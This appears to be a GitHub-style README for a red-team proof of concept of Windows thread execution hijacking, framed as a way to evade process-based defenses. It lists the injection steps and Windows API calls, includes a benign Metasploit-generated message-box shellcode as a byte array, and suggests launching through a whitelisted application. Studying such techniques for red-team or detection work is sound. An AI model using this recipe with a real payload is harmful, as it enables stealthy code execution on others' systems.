Blog link: may not gonna update
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Base on my other projects down below.
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Injecting malicious code into hijacked processes to evade process-based defenses as well as possibly elevate privileges.
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Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.
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Steps
- Create a process in a suspended status;
- Allocate some executable memory for "shellcode" in the target process with VirtualAllocEx.
- Copy the shellcode into the memory with NtWriteVirtualMemory.
- Retrieve the target thread's context with GetThreadContext.
- Update the target thread's instruction pointer (x64 RIP/x86 EIP register) to point to the shellcode, which was written into the target process's memory in step 3.
- Commit the hijacked thread's (updated in step 5) new context with SetThreadContext.
- Resume the hijacked thread with ResumeThread.
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Tested on Win10 x86/64 works fine.
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The shellcode below is a messagebox
/* MessageBox */
byte[] buf1 = new byte[323] {
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d,
0x85,0x2b,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,
0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x48,0x65,0x6c,0x6c,0x6f,
0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,0x65,0x73,
0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 };
- Just launch through a white-list application
- NONE
- NONE
1. https://idiotc4t.com/code-and-dll-process-injection/setcontext-hijack-thread
2. https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking
3. http://blog.leanote.com/post/snowming/a1427bca0ca7
4. https://attack.mitre.org/techniques/T1055/003/
5. https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1055-process-injection/thread-execution-hijacking
6. https://www.elastic.co/cn/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
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